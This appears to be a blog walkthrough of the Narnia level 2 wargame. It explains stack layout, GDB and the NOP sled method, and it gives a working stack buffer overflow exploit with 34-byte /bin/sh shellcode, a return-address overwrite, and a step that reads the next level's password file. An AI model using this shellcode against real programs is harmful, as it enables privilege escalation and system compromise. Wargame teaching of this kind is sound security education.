The GNU Debugger and NOP Sled Method

05 Jul 2018

Another vulnerability in programs are arrays of fixed size that take user input/ command-line input. This requires understanding of the stack. Lets see a simple program below.

    
      #include<stdio.h>
      int main()
      {
        char b[3];
        return 0;
      }
  
  
When the above program enters into execution, first program enters into main function. That function has a physical address to return. That address is first stored onto the stack. Upon that address, variable a is stored and upon that array b is stored. Memory will be stored as -
  1. b[2]
  2. b[1]
  3. b[0]
  4. main function's return address

So when you have a large enough buffer that accepts User input, you can load it with malicious shellcode to gain elevated privileges. How? By putting your shell-code in the buffer, overwriting Funcion return address with some address within buffer, and using No-operations to slide the code to your shell-code. So, executing the program with this data results in shellcode being executed. This method is called NOP sled method.

You need to know somethings about GDB for doing all the above. GDB - GNU Debugger is a debugging tool for finding assembly code, setting breakpoints in your code, seeing your program in action.
disas/disassemble command makes assembly code of the executible visible.
x/nx $address lets you see n addresses previous to x address specified by $address

Lets see this method in practice now.
Enter narnia2 with password obtained from Level 1.(Refer here)
  • Snap of /narnia/narnia2.c
  • What is the vulnerability?
  • String Copy of Commandline argument into Array of 128 bytes is done.

            
            strcpy(buf,argv[1]);
          
          
    We can exploit this by overrunning the return address of stack into Buffer address and placing our shellcode into the buffer.

  • Exploitation Steps:
    1. Find size of buffer using gdb.
    2.         
              gdb /narnia/narnia2
              (gdb)disas main
              (gdb) quit
            
            
      You can see the following snap:
    3. In this line "Sub $0x90,%esp", you can see 144(0x90) bytes is assigned to stack pointer(%esp) Rough breakdown can be like 128 bytes for buffer, 4 bytes for return address, 4 bytes for function call, 8 bytes garbage. Check return address is AAAA with 0x41 *144 as argument
              
              gdb --args /narnia/narnia2 $(python -c 'print "\x41"*144'
              (gdb) run
              (gdb) quit
            
            
      We can use shell-code used in previous level here as payload. That is 34 bytes long. So, 34 byte payload,4 byte return address and remaining (144-38=106) bytes should be No-Operation byte -0x90
    4. Run the program in gdb with the payload and NOP and 4 bytes of 00 as return address. Once seg fault occurs, check 150 bytes from stack pointer with "x/150x $esp"
    5.         
              gdb --args /narnia/narnia2 $(python -c 'print "\x90"*106+"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"+"\x00\x00\x00\x00"')
              (gdb) run
              (gdb) x/150x $esp
              (gdb) quit
            
            
      Snap:
    6. Choose a return address in the middle of sea of 0x90s.An example would be 0xffffd7c0.
    7. Execute ./narnia2 with payload and return address.
    8.         
            /narnia/narnia2 $(python -c 'print "\x90"*106+"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"+"\xc0\xd7\xff\xff"')
            
            
    9. Shell prompt will pop up on execution. Check whose privileges you have with "whoami" command. Crack the password for Narnia Level 3 with "cat /etc/narnia_pass/narnia3"

  • Behind the scenes explanation:
  • You are basically seeing how stack stores data, overwriting return address to Main function from stack with an address within the program and sliding it with NOPs to your desired shell-code and executing it.